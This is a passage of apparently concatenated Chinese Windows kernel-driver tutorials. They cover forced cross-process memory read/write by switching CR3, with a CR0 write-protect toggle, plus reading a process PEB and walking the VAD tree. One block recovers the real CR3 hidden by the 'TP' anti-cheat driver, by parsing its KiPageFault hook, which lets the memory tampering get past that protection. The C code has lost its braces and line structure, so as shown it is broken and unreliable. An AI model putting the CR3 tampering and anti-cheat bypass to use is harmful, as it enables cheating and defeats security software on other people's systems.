首先CR3是什么,CR3是一个寄存器,该寄存器内保存有页目录表物理地址(PDBR地址),其实CR3内部存放的就是页目录表的内存基地址,运用CR3切换可实现对特定进程内存地址的强制读写操作,此类读写属于有痕读写,多数驱动保护都会将这个地址改为无效,此时CR3读写就失效了,当然如果能找到CR3的正确地址,此方式也是靠谱的一种读写机制。在读写进程之前需要先找到进程的PEPROCESS结构,查找结构的方法也很简单,依次遍历进程并对比进程名称即可得到。#include <ntifs.h> #include <windef.h> #include <intrin.h> NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process); NTKERNELAPI CHAR* PsGetProcessImageFileName(PEPROCESS Process); // 定义全局EProcess结构 PEPROCESS Global_Peprocess = NULL; // 根据进程名获得EPROCESS结构 NTSTATUS GetProcessObjectByName(char *name) NTSTATUS Status = STATUS_UNSUCCESSFUL; SIZE_T i; __try for (i = 100; i<20000; i += 4) NTSTATUS st; PEPROCESS ep; st = PsLookupProcessByProcessId((HANDLE)i, &ep); if (NT_SUCCESS(st)) char *pn = PsGetProcessImageFileName(ep); if (_stricmp(pn, name) == 0) Global_Peprocess = ep; __except (EXCEPTION_EXECUTE_HANDLER) return Status; return Status; VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint(("Uninstall Driver Is OK \n")); NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint("hello lyshark \n"); NTSTATUS nt = GetProcessObjectByName("Tutorial-i386.exe"); if (NT_SUCCESS(nt)) DbgPrint("[+] eprocess = %x \n", Global_Peprocess); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }以打开Tutorial-i386.exe为例,打开后即可返回他的Proces,当然也可以直接传入进程PID同样可以得到进程Process结构地址。// 根据PID打开进程 PEPROCESS Peprocess = NULL; DWORD PID = 6672; NTSTATUS nt = PsLookupProcessByProcessId((HANDLE)PID, &Peprocess);通过CR3读取内存实现代码如下,我们读取Tutorial-i386.exe里面的0x0009EDC8这段内存,读出长度是4字节,代码如下。#include <ntifs.h> #include <windef.h> #include <intrin.h> #define DIRECTORY_TABLE_BASE 0x028 #pragma intrinsic(_disable) #pragma intrinsic(_enable) NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process); NTKERNELAPI CHAR* PsGetProcessImageFileName(PEPROCESS Process); // 关闭写保护 KIRQL Open() KIRQL irql = KeRaiseIrqlToDpcLevel(); UINT64 cr0 = __readcr0(); cr0 &= 0xfffffffffffeffff; __writecr0(cr0); _disable(); return irql; // 开启写保护 void Close(KIRQL irql) UINT64 cr0 = __readcr0(); cr0 |= 0x10000; _enable(); __writecr0(cr0); KeLowerIrql(irql); // 检查内存 ULONG64 CheckAddressVal(PVOID p) if (MmIsAddressValid(p) == FALSE) return 0; return *(PULONG64)p; // CR3 寄存器读内存 BOOLEAN CR3_ReadProcessMemory(IN PEPROCESS Process, IN PVOID Address, IN UINT32 Length, OUT PVOID Buffer) ULONG64 pDTB = 0, OldCr3 = 0, vAddr = 0; pDTB = CheckAddressVal((UCHAR*)Process + DIRECTORY_TABLE_BASE); if (pDTB == 0) return FALSE; _disable(); OldCr3 = __readcr3(); __writecr3(pDTB); _enable(); if (MmIsAddressValid(Address)) RtlCopyMemory(Buffer, Address, Length); DbgPrint("读入数据: %ld", *(PDWORD)Buffer); return TRUE; _disable(); __writecr3(OldCr3); _enable(); return FALSE; VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint(("Uninstall Driver Is OK \n")); NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint("hello lyshark \n"); // 根据PID打开进程 PEPROCESS Peprocess = NULL; DWORD PID = 6672; NTSTATUS nt = PsLookupProcessByProcessId((HANDLE)PID, &Peprocess); DWORD buffer = 0; BOOLEAN bl = CR3_ReadProcessMemory(Peprocess, (PVOID)0x0009EDC8, 4, &buffer); DbgPrint("readbuf = %x \n", buffer); DbgPrint("readbuf = %d \n", buffer); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }读出后输出效果如下:写出内存与读取基本一致,代码如下。#include <ntifs.h> #include <windef.h> #include <intrin.h> #define DIRECTORY_TABLE_BASE 0x028 #pragma intrinsic(_disable) #pragma intrinsic(_enable) NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process); NTKERNELAPI CHAR* PsGetProcessImageFileName(PEPROCESS Process); // 关闭写保护 KIRQL Open() KIRQL irql = KeRaiseIrqlToDpcLevel(); UINT64 cr0 = __readcr0(); cr0 &= 0xfffffffffffeffff; __writecr0(cr0); _disable(); return irql; // 开启写保护 void Close(KIRQL irql) UINT64 cr0 = __readcr0(); cr0 |= 0x10000; _enable(); __writecr0(cr0); KeLowerIrql(irql); // 检查内存 ULONG64 CheckAddressVal(PVOID p) if (MmIsAddressValid(p) == FALSE) return 0; return *(PULONG64)p; // CR3 寄存器写内存 BOOLEAN CR3_WriteProcessMemory(IN PEPROCESS Process, IN PVOID Address, IN UINT32 Length, IN PVOID Buffer) ULONG64 pDTB = 0, OldCr3 = 0, vAddr = 0; // 检查内存 pDTB = CheckAddressVal((UCHAR*)Process + DIRECTORY_TABLE_BASE); if (pDTB == 0) return FALSE; _disable(); // 读取CR3 OldCr3 = __readcr3(); // 写CR3 __writecr3(pDTB); _enable(); // 验证并拷贝内存 if (MmIsAddressValid(Address)) RtlCopyMemory(Address, Buffer, Length); return TRUE; _disable(); // 恢复CR3 __writecr3(OldCr3); _enable(); return FALSE; VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint(("Uninstall Driver Is OK \n")); NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint("hello lyshark \n"); // 根据PID打开进程 PEPROCESS Peprocess = NULL; DWORD PID = 6672; NTSTATUS nt = PsLookupProcessByProcessId((HANDLE)PID, &Peprocess); DWORD buffer = 999; BOOLEAN bl = CR3_WriteProcessMemory(Peprocess, (PVOID)0x0009EDC8, 4, &buffer); DbgPrint("写出状态: %d \n", bl); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }写出后效果如下:至于进程将CR3改掉了读取不到该寄存器该如何处理,这里我找到了一段参考代码,可以实现寻找CR3地址这个功能。#include <ntddk.h> #include <ntstrsafe.h> #include <windef.h> #include <intrin.h> #pragma pack(push, 1) typedef struct _IDTR // IDT基址 USHORT limit; // 范围 占8位 ULONG64 base; // 基地址 占32位 _IDT_ENTRY类型指针 }IDTR, *PIDTR; typedef union _IDT_ENTRY struct kidt USHORT OffsetLow; USHORT Selector; USHORT IstIndex : 3; USHORT Reserved0 : 5; USHORT Type : 5; USHORT Dpl : 2; USHORT Present : 1; USHORT OffsetMiddle; ULONG OffsetHigh; ULONG Reserved1; }idt; UINT64 Alignment; } IDT_ENTRY, *PIDT_ENTRY; #pragma pack(pop) // 输出调试内容 void DebugPrint(const char* fmt, ...) UNREFERENCED_PARAMETER(fmt); va_list ap; va_start(ap, fmt); vDbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, fmt, ap); va_end(ap); return; // 获取IDT表地址 ULONG64 GetIdtAddr(ULONG64 pIdtBaseAddr, UCHAR pIndex) PIDT_ENTRY Pidt_info = (PIDT_ENTRY)(pIdtBaseAddr); Pidt_info += pIndex; ULONG64 vCurrentAddr = 0; ULONG64 vCurrentHighAddr = 0; vCurrentAddr = Pidt_info->idt.OffsetMiddle; vCurrentAddr = vCurrentAddr << 16; vCurrentAddr += Pidt_info->idt.OffsetLow; vCurrentHighAddr = Pidt_info->idt.OffsetHigh; vCurrentHighAddr = vCurrentHighAddr << 32; vCurrentAddr += vCurrentHighAddr; return vCurrentAddr; VOID UnLoadDriver() NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT pPDriverObj, _In_ PUNICODE_STRING pRegistryPath) UNREFERENCED_PARAMETER(pRegistryPath); pPDriverObj->DriverUnload = (PDRIVER_UNLOAD)UnLoadDriver; TP版KiPageFault fffff880`09f54000 50 push rax // 这里实际上是真实处理函数的地址 需要 & 0xFFFFFFFFFFF00000 fffff880`09f54001 48b87830ce0980f8ffff mov rax,0FFFFF88009CE3078h fffff880`09f5400b 4883ec08 sub rsp,8 fffff880`09f5400f 48890424 mov qword ptr [rsp],rax fffff880`09f54013 48311424 xor qword ptr [rsp],rdx fffff880`09f54017 e810000000 call fffff880`09f5402c fffff880`09f5401c 896eff mov dword ptr [rsi-1],ebp fffff880`09f5401f 230500000089 and eax,dword ptr [fffff87f`92f54025] //得到TP KiPageFault地址 // _IDTR vContent; // __sidt(&vContent); ULONG64 vTpKiPageFault = GetIdtAddr(vContent.base, 0xE); //得到TP 动态内存起始值 ULONG64 vTpMemory = *(PULONG64)(vTpKiPageFault + 0x3) & 0xFFFFFFFFFFF00000; //得到TP KiPageFault真实处理函数 ULONG64 vTpKiPageFaultFuncAddr = vTpMemory + 0x4CE7C; if (MmIsAddressValid((PVOID)vTpKiPageFaultFuncAddr)) {//真实处理函数有效 //得到TP数据对象基地址 ULONG64 vTpDataObjectBase = *(PULONG)(vTpMemory + 0x1738B) + vTpMemory + 0x1738F; if (MmIsAddressValid((PVOID)vTpDataObjectBase)) {//基地址有效 //得到TP 用来保存真实CR3 保存当前所属进程ID 的对象 ULONG64 vTpDataObject = *(PULONG64)vTpDataObjectBase; DebugPrint("数据对象:0x%016llx, 真实CR3:0x%016llx, 所属进程ID:%d\n", vTpDataObject, *(PULONG64)(vTpDataObject + 0x70), *(PULONG)(vTpDataObject + 0x18)); DebugPrint("vTpDataObjectBase无法读取:0x%016llx\n", vTpDataObjectBase); DebugPrint("vTpKiPageFaultFuncAddr无法读取:0x%016llx\n", vTpKiPageFaultFuncAddr); return STATUS_SUCCESS;

驱动开发:内核通过PEB得到进程参数

PEB结构(Process Envirorment Block Structure)其中文名是进程环境块信息,进程环境块内部包含了进程运行的详细参数信息,每一个进程在运行后都会存在一个特有的PEB结构,通过附加进程并遍历这段结构即可得到非常多的有用信息。在应用层下,如果想要得到PEB的基地址只需要取fs:[0x30]即可,TEB线程环境块则是fs:[0x18],如果在内核层想要得到应用层进程的PEB信息我们需要调用特定的内核函数来获取,如下案例将教大家如何在内核层取到应用层进程的PEB结构。首先在开始写代码之前需要先定义好PEB进程环境快结构体,用于对内存指针解析,新建peb.h文件并保存如下代码,这些是微软的结构定义分为32位与64位,官方定义规范而已不需要费工夫。#pragma once #include <ntifs.h> typedef struct _CURDIR // 2 elements, 0x18 bytes (sizeof) /*0x000*/ struct _UNICODE_STRING DosPath; // 3 elements, 0x10 bytes (sizeof) /*0x010*/ VOID* Handle; }CURDIR, *PCURDIR; typedef struct _RTL_DRIVE_LETTER_CURDIR // 4 elements, 0x18 bytes (sizeof) /*0x000*/ UINT16 Flags; /*0x002*/ UINT16 Length; /*0x004*/ ULONG32 TimeStamp; /*0x008*/ struct _STRING DosPath; // 3 elements, 0x10 bytes (sizeof) }RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; typedef enum _SYSTEM_DLL_TYPE // 7 elements, 0x4 bytes PsNativeSystemDll = 0 /*0x0*/, PsWowX86SystemDll = 1 /*0x1*/, PsWowArm32SystemDll = 2 /*0x2*/, PsWowAmd64SystemDll = 3 /*0x3*/, PsWowChpeX86SystemDll = 4 /*0x4*/, PsVsmEnclaveRuntimeDll = 5 /*0x5*/, PsSystemDllTotalTypes = 6 /*0x6*/ }SYSTEM_DLL_TYPE, *PSYSTEM_DLL_TYPE; typedef struct _EWOW64PROCESS // 3 elements, 0x10 bytes (sizeof) /*0x000*/ VOID* Peb; /*0x008*/ UINT16 Machine; /*0x00A*/ UINT8 _PADDING0_[0x2]; /*0x00C*/ enum _SYSTEM_DLL_TYPE NtdllType; }EWOW64PROCESS, *PEWOW64PROCESS; typedef struct _RTL_USER_PROCESS_PARAMETERS // 37 elements, 0x440 bytes (sizeof) /*0x000*/ ULONG32 MaximumLength; /*0x004*/ ULONG32 Length; /*0x008*/ ULONG32 Flags; /*0x00C*/ ULONG32 DebugFlags; /*0x010*/ VOID* ConsoleHandle; /*0x018*/ ULONG32 ConsoleFlags; /*0x01C*/ UINT8 _PADDING0_[0x4]; /*0x020*/ VOID* StandardInput; /*0x028*/ VOID* StandardOutput; /*0x030*/ VOID* StandardError; /*0x038*/ struct _CURDIR CurrentDirectory; // 2 elements, 0x18 bytes (sizeof) /*0x050*/ struct _UNICODE_STRING DllPath; // 3 elements, 0x10 bytes (sizeof) /*0x060*/ struct _UNICODE_STRING ImagePathName; // 3 elements, 0x10 bytes (sizeof) /*0x070*/ struct _UNICODE_STRING CommandLine; // 3 elements, 0x10 bytes (sizeof) /*0x080*/ VOID* Environment; /*0x088*/ ULONG32 StartingX; /*0x08C*/ ULONG32 StartingY; /*0x090*/ ULONG32 CountX; /*0x094*/ ULONG32 CountY; /*0x098*/ ULONG32 CountCharsX; /*0x09C*/ ULONG32 CountCharsY; /*0x0A0*/ ULONG32 FillAttribute; /*0x0A4*/ ULONG32 WindowFlags; /*0x0A8*/ ULONG32 ShowWindowFlags; /*0x0AC*/ UINT8 _PADDING1_[0x4]; /*0x0B0*/ struct _UNICODE_STRING WindowTitle; // 3 elements, 0x10 bytes (sizeof) /*0x0C0*/ struct _UNICODE_STRING DesktopInfo; // 3 elements, 0x10 bytes (sizeof) /*0x0D0*/ struct _UNICODE_STRING ShellInfo; // 3 elements, 0x10 bytes (sizeof) /*0x0E0*/ struct _UNICODE_STRING RuntimeData; // 3 elements, 0x10 bytes (sizeof) /*0x0F0*/ struct _RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32]; /*0x3F0*/ UINT64 EnvironmentSize; /*0x3F8*/ UINT64 EnvironmentVersion; /*0x400*/ VOID* PackageDependencyData; /*0x408*/ ULONG32 ProcessGroupId; /*0x40C*/ ULONG32 LoaderThreads; /*0x410*/ struct _UNICODE_STRING RedirectionDllName; // 3 elements, 0x10 bytes (sizeof) /*0x420*/ struct _UNICODE_STRING HeapPartitionName; // 3 elements, 0x10 bytes (sizeof) /*0x430*/ UINT64* DefaultThreadpoolCpuSetMasks; /*0x438*/ ULONG32 DefaultThreadpoolCpuSetMaskCount; /*0x43C*/ UINT8 _PADDING2_[0x4]; }RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; typedef struct _PEB_LDR_DATA // 9 elements, 0x58 bytes (sizeof) /*0x000*/ ULONG32 Length; /*0x004*/ UINT8 Initialized; /*0x005*/ UINT8 _PADDING0_[0x3]; /*0x008*/ VOID* SsHandle; /*0x010*/ struct _LIST_ENTRY InLoadOrderModuleList; // 2 elements, 0x10 bytes (sizeof) /*0x020*/ struct _LIST_ENTRY InMemoryOrderModuleList; // 2 elements, 0x10 bytes (sizeof) /*0x030*/ struct _LIST_ENTRY InInitializationOrderModuleList; // 2 elements, 0x10 bytes (sizeof) /*0x040*/ VOID* EntryInProgress; /*0x048*/ UINT8 ShutdownInProgress; /*0x049*/ UINT8 _PADDING1_[0x7]; /*0x050*/ VOID* ShutdownThreadId; }PEB_LDR_DATA, *PPEB_LDR_DATA; typedef struct _PEB64 UCHAR InheritedAddressSpace; UCHAR ReadImageFileExecOptions; UCHAR BeingDebugged; UCHAR BitField; ULONG64 Mutant; ULONG64 ImageBaseAddress; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; ULONG64 SubSystemData; ULONG64 ProcessHeap; ULONG64 FastPebLock; ULONG64 AtlThunkSListPtr; ULONG64 IFEOKey; ULONG64 CrossProcessFlags; ULONG64 UserSharedInfoPtr; ULONG SystemReserved; ULONG AtlThunkSListPtr32; ULONG64 ApiSetMap; } PEB64, *PPEB64; #pragma pack(4) typedef struct _PEB32 UCHAR InheritedAddressSpace; UCHAR ReadImageFileExecOptions; UCHAR BeingDebugged; UCHAR BitField; ULONG Mutant; ULONG ImageBaseAddress; ULONG Ldr; ULONG ProcessParameters; ULONG SubSystemData; ULONG ProcessHeap; ULONG FastPebLock; ULONG AtlThunkSListPtr; ULONG IFEOKey; ULONG CrossProcessFlags; ULONG UserSharedInfoPtr; ULONG SystemReserved; ULONG AtlThunkSListPtr32; ULONG ApiSetMap; } PEB32, *PPEB32; typedef struct _PEB_LDR_DATA32 ULONG Length; BOOLEAN Initialized; ULONG SsHandle; LIST_ENTRY32 InLoadOrderModuleList; LIST_ENTRY32 InMemoryOrderModuleList; LIST_ENTRY32 InInitializationOrderModuleList; ULONG EntryInProgress; } PEB_LDR_DATA32, *PPEB_LDR_DATA32; typedef struct _LDR_DATA_TABLE_ENTRY32 LIST_ENTRY32 InLoadOrderLinks; LIST_ENTRY32 InMemoryOrderModuleList; LIST_ENTRY32 InInitializationOrderModuleList; ULONG DllBase; ULONG EntryPoint; ULONG SizeOfImage; UNICODE_STRING32 FullDllName; UNICODE_STRING32 BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; union LIST_ENTRY32 HashLinks; ULONG SectionPointer; ULONG CheckSum; union ULONG TimeDateStamp; ULONG LoadedImports; ULONG EntryPointActivationContext; ULONG PatchInformation; } LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32; #pragma pack()接着就来实现对PEB的获取操作,以64位为例,我们需要调用PsGetProcessPeb()这个内核函数,因为该内核函数没有被公开所以调用之前需要头部导出,该函数需要传入用户进程的EProcess结构,该结构可用PsLookupProcessByProcessId函数动态获取到,获取到以后直接KeStackAttachProcess()附加到应用层进程上,即可直接输出进程的PEB结构信息,如下代码。#include "peb.h" #include <ntifs.h> // 定义导出 NTKERNELAPI PVOID NTAPI PsGetProcessPeb(_In_ PEPROCESS Process); VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint(("Uninstall Driver Is OK \n")); // LyShark NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint("hello lyshark \n"); NTSTATUS status = STATUS_UNSUCCESSFUL; PEPROCESS eproc = NULL; KAPC_STATE kpc = { 0 }; PPEB64 pPeb64 = NULL; __try // HANDLE)4656 进程PID status = PsLookupProcessByProcessId((HANDLE)4656, &eproc); // 得到64位PEB pPeb64 = (PPEB64)PsGetProcessPeb(eproc); DbgPrint("PEB64 = %p \n", pPeb64); if (pPeb64 != 0) // 验证可读性 ProbeForRead(pPeb64, sizeof(PEB32), 1); // 附加进程 KeStackAttachProcess(eproc, &kpc); DbgPrint("进程基地址: 0x%p \n", pPeb64->ImageBaseAddress); DbgPrint("ProcessHeap = 0x%p \n", pPeb64->ProcessHeap); DbgPrint("BeingDebugged = %d \n", pPeb64->BeingDebugged); // 脱离进程 KeUnstackDetachProcess(&kpc); __except (EXCEPTION_EXECUTE_HANDLER) Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }PEB64代码运行后,我们加载驱动即可看到如下结果:而相对于64位进程来说,获取32位进程的PEB信息可以直接调用PsGetProcessWow64Process()函数得到,该函数已被导出可以任意使用,获取PEB代码如下。#include "peb.h" #include <ntifs.h> // 定义导出 NTKERNELAPI PVOID NTAPI PsGetProcessPeb(_In_ PEPROCESS Process); VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint(("Uninstall Driver Is OK \n")); // LyShark NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint("hello lyshark \n"); NTSTATUS status = STATUS_UNSUCCESSFUL; PEPROCESS eproc = NULL; KAPC_STATE kpc = { 0 }; PPEB32 pPeb32 = NULL; __try // HANDLE)4656 进程PID status = PsLookupProcessByProcessId((HANDLE)6164, &eproc); // 得到32位PEB pPeb32 = (PPEB32)PsGetProcessWow64Process(eproc); DbgPrint("PEB32 = %p \n", pPeb32); if (pPeb32 != 0) // 验证可读性 ProbeForRead(pPeb32, sizeof(PEB32), 1); // 附加进程 KeStackAttachProcess(eproc, &kpc); DbgPrint("进程基地址: 0x%p \n", pPeb32->ImageBaseAddress); DbgPrint("ProcessHeap = 0x%p \n", pPeb32->ProcessHeap); DbgPrint("BeingDebugged = %d \n", pPeb32->BeingDebugged); // 脱离进程 KeUnstackDetachProcess(&kpc); __except (EXCEPTION_EXECUTE_HANDLER) Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }PEB32代码运行后,我们加载驱动即可看到如下结果:

驱动开发:内核遍历进程VAD结构体

在上一篇文章《驱动开发:内核中实现Dump进程转储》中我们实现了ARK工具的转存功能,本篇文章继续以内存为出发点介绍VAD结构,该结构的全程是Virtual Address Descriptor即虚拟地址描述符,VAD是一个AVL自平衡二叉树,树的每一个节点代表一段虚拟地址空间。程序中的代码段,数据段,堆段都会各种占用一个或多个VAD节点,由一个MMVAD结构完整描述。VAD结构的遍历效果如下:那么这个结构在哪?每一个进程都有自己单独的VAD结构树,这个结构通常在EPROCESS结构里面里面,在内核调试模式下使用dt _EPROCESS可得到如下信息。lyshark.com 1: kd> dt _EPROCESS ntdll!_EPROCESS +0x500 Vm : _MMSUPPORT_FULL +0x640 MmProcessLinks : _LIST_ENTRY +0x650 ModifiedPageCount : Uint4B +0x654 ExitStatus : Int4B +0x658 VadRoot : _RTL_AVL_TREE +0x660 VadHint : Ptr64 Void +0x668 VadCount : Uint8B +0x670 VadPhysicalPages : Uint8B +0x678 VadPhysicalPagesLimit : Uint8B可以看到在本系统中VAD的偏移是+0x658紧跟其后的还有vadCount的计数等。VAD结构是如何被添加的?通常情况下系统调用VirtualAllocate等申请一段堆内存时,则会在VAD树上增加一个结点_MMVAD结构体,需要说明的是栈并不受VAD的管理。由系统直接分配空间,并把地址记录在了TEB中。lyshark.com 0: kd> dt _MMVAD nt!_MMVAD +0x000 Core : _MMVAD_SHORT +0x040 u2 : <anonymous-tag> +0x048 Subsection : Ptr64 _SUBSECTION +0x050 FirstPrototypePte : Ptr64 _MMPTE +0x058 LastContiguousPte : Ptr64 _MMPTE +0x060 ViewLinks : _LIST_ENTRY +0x070 VadsProcess : Ptr64 _EPROCESS +0x078 u4 : <anonymous-tag> +0x080 FileObject : Ptr64 _FILE_OBJECT结构体MMVAD则是每一个VAD内存块的属性,这个内存结构定义在WinDBG中可看到。如上在EPROCESS结构中可以找到VAD结构的相对偏移+0x658以及进程VAD计数偏移+0x668,我们首先通过!process 0 0指令得到当前所有进程的EPROCESS结构,并选中进程。lyshark.com 0: kd> !process 0 0 PROCESS ffffe28fbb0860c0 SessionId: 1 Cid: 11a8 Peb: 0035c000 ParentCid: 11c8 DirBase: 309f3002 ObjectTable: ffffac87ba3da580 HandleCount: 145. Image: x64.exe此处的ffffe28fbb0860c0正是我们所需要的EPROCESS结构。当需要得到该进程的VAD结构时,只需要使用!vad ffffe28fbb0860c0 + 0x658来显示该进程的VAD树。至于获取VAD有多少条,则可以直接使用!vad ffffe28fbb0860c0 + 0x668来获取到。既然手动可以遍历出来,那么自动化也并不难,首先定义头文件vad.h同样这是微软定义,如果想要的到最新的,自己下载WinDBG调试内核输入命令。#pragma once #include <ntifs.h> typedef struct _MM_GRAPHICS_VAD_FLAGS // 15 elements, 0x4 bytes (sizeof) /*0x000*/ ULONG32 Lock : 1; // 0 BitPosition /*0x000*/ ULONG32 LockContended : 1; // 1 BitPosition /*0x000*/ ULONG32 DeleteInProgress : 1; // 2 BitPosition /*0x000*/ ULONG32 NoChange : 1; // 3 BitPosition /*0x000*/ ULONG32 VadType : 3; // 4 BitPosition /*0x000*/ ULONG32 Protection : 5; // 7 BitPosition /*0x000*/ ULONG32 PreferredNode : 6; // 12 BitPosition /*0x000*/ ULONG32 PageSize : 2; // 18 BitPosition /*0x000*/ ULONG32 PrivateMemoryAlwaysSet : 1; // 20 BitPosition /*0x000*/ ULONG32 WriteWatch : 1; // 21 BitPosition /*0x000*/ ULONG32 FixedLargePageSize : 1; // 22 BitPosition /*0x000*/ ULONG32 ZeroFillPagesOptional : 1; // 23 BitPosition /*0x000*/ ULONG32 GraphicsAlwaysSet : 1; // 24 BitPosition /*0x000*/ ULONG32 GraphicsUseCoherentBus : 1; // 25 BitPosition /*0x000*/ ULONG32 GraphicsPageProtection : 3; // 26 BitPosition }MM_GRAPHICS_VAD_FLAGS, *PMM_GRAPHICS_VAD_FLAGS; typedef struct _MM_PRIVATE_VAD_FLAGS // 15 elements, 0x4 bytes (sizeof) /*0x000*/ ULONG32 Lock : 1; // 0 BitPosition /*0x000*/ ULONG32 LockContended : 1; // 1 BitPosition /*0x000*/ ULONG32 DeleteInProgress : 1; // 2 BitPosition /*0x000*/ ULONG32 NoChange : 1; // 3 BitPosition /*0x000*/ ULONG32 VadType : 3; // 4 BitPosition /*0x000*/ ULONG32 Protection : 5; // 7 BitPosition /*0x000*/ ULONG32 PreferredNode : 6; // 12 BitPosition /*0x000*/ ULONG32 PageSize : 2; // 18 BitPosition /*0x000*/ ULONG32 PrivateMemoryAlwaysSet : 1; // 20 BitPosition /*0x000*/ ULONG32 WriteWatch : 1; // 21 BitPosition /*0x000*/ ULONG32 FixedLargePageSize : 1; // 22 BitPosition /*0x000*/ ULONG32 ZeroFillPagesOptional : 1; // 23 BitPosition /*0x000*/ ULONG32 Graphics : 1; // 24 BitPosition /*0x000*/ ULONG32 Enclave : 1; // 25 BitPosition /*0x000*/ ULONG32 ShadowStack : 1; // 26 BitPosition }MM_PRIVATE_VAD_FLAGS, *PMM_PRIVATE_VAD_FLAGS; typedef struct _MMVAD_FLAGS // 9 elements, 0x4 bytes (sizeof) /*0x000*/ ULONG32 Lock : 1; // 0 BitPosition /*0x000*/ ULONG32 LockContended : 1; // 1 BitPosition /*0x000*/ ULONG32 DeleteInProgress : 1; // 2 BitPosition /*0x000*/ ULONG32 NoChange : 1; // 3 BitPosition /*0x000*/ ULONG32 VadType : 3; // 4 BitPosition /*0x000*/ ULONG32 Protection : 5; // 7 BitPosition /*0x000*/ ULONG32 PreferredNode : 6; // 12 BitPosition /*0x000*/ ULONG32 PageSize : 2; // 18 BitPosition /*0x000*/ ULONG32 PrivateMemory : 1; // 20 BitPosition }MMVAD_FLAGS, *PMMVAD_FLAGS; typedef struct _MM_SHARED_VAD_FLAGS // 11 elements, 0x4 bytes (sizeof) /*0x000*/ ULONG32 Lock : 1; // 0 BitPosition /*0x000*/ ULONG32 LockContended : 1; // 1 BitPosition /*0x000*/ ULONG32 DeleteInProgress : 1; // 2 BitPosition /*0x000*/ ULONG32 NoChange : 1; // 3 BitPosition /*0x000*/ ULONG32 VadType : 3; // 4 BitPosition /*0x000*/ ULONG32 Protection : 5; // 7 BitPosition /*0x000*/ ULONG32 PreferredNode : 6; // 12 BitPosition /*0x000*/ ULONG32 PageSize : 2; // 18 BitPosition /*0x000*/ ULONG32 PrivateMemoryAlwaysClear : 1; // 20 BitPosition /*0x000*/ ULONG32 PrivateFixup : 1; // 21 BitPosition /*0x000*/ ULONG32 HotPatchAllowed : 1; // 22 BitPosition }MM_SHARED_VAD_FLAGS, *PMM_SHARED_VAD_FLAGS; typedef struct _MMVAD_FLAGS2 // 7 elements, 0x4 bytes (sizeof) /*0x000*/ ULONG32 FileOffset : 24; // 0 BitPosition /*0x000*/ ULONG32 Large : 1; // 24 BitPosition /*0x000*/ ULONG32 TrimBehind : 1; // 25 BitPosition /*0x000*/ ULONG32 Inherit : 1; // 26 BitPosition /*0x000*/ ULONG32 NoValidationNeeded : 1; // 27 BitPosition /*0x000*/ ULONG32 PrivateDemandZero : 1; // 28 BitPosition /*0x000*/ ULONG32 Spare : 3; // 29 BitPosition }MMVAD_FLAGS2, *PMMVAD_FLAGS2; typedef struct _MMVAD_SHORT RTL_BALANCED_NODE VadNode; UINT32 StartingVpn; /*0x18*/ UINT32 EndingVpn; /*0x01C*/ UCHAR StartingVpnHigh; UCHAR EndingVpnHigh; UCHAR CommitChargeHigh; UCHAR SpareNT64VadUChar; INT32 ReferenceCount; EX_PUSH_LOCK PushLock; /*0x028*/ struct union ULONG_PTR flag; MM_PRIVATE_VAD_FLAGS PrivateVadFlags; /*0x030*/ MMVAD_FLAGS VadFlags; MM_GRAPHICS_VAD_FLAGS GraphicsVadFlags; MM_SHARED_VAD_FLAGS SharedVadFlags; }Flags; PVOID EventList; /*0x038*/ }MMVAD_SHORT, *PMMVAD_SHORT; typedef struct _MMADDRESS_NODE ULONG64 u1; struct _MMADDRESS_NODE* LeftChild; struct _MMADDRESS_NODE* RightChild; ULONG64 StartingVpn; ULONG64 EndingVpn; }MMADDRESS_NODE, *PMMADDRESS_NODE; typedef struct _MMEXTEND_INFO // 2 elements, 0x10 bytes (sizeof) /*0x000*/ UINT64 CommittedSize; /*0x008*/ ULONG32 ReferenceCount; /*0x00C*/ UINT8 _PADDING0_[0x4]; }MMEXTEND_INFO, *PMMEXTEND_INFO; struct _SEGMENT struct _CONTROL_AREA* ControlArea; ULONG TotalNumberOfPtes; ULONG SegmentFlags; ULONG64 NumberOfCommittedPages; ULONG64 SizeOfSegment; union struct _MMEXTEND_INFO* ExtendInfo; void* BasedAddress; ULONG64 SegmentLock; ULONG64 u1; ULONG64 u2; PVOID* PrototypePte; ULONGLONG ThePtes[0x1]; typedef struct _EX_FAST_REF union PVOID Object; ULONG_PTR RefCnt : 3; ULONG_PTR Value; } EX_FAST_REF, *PEX_FAST_REF; typedef struct _CONTROL_AREA // 17 elements, 0x80 bytes (sizeof) /*0x000*/ struct _SEGMENT* Segment; union // 2 elements, 0x10 bytes (sizeof) /*0x008*/ struct _LIST_ENTRY ListHead; // 2 elements, 0x10 bytes (sizeof) /*0x008*/ VOID* AweContext; /*0x018*/ UINT64 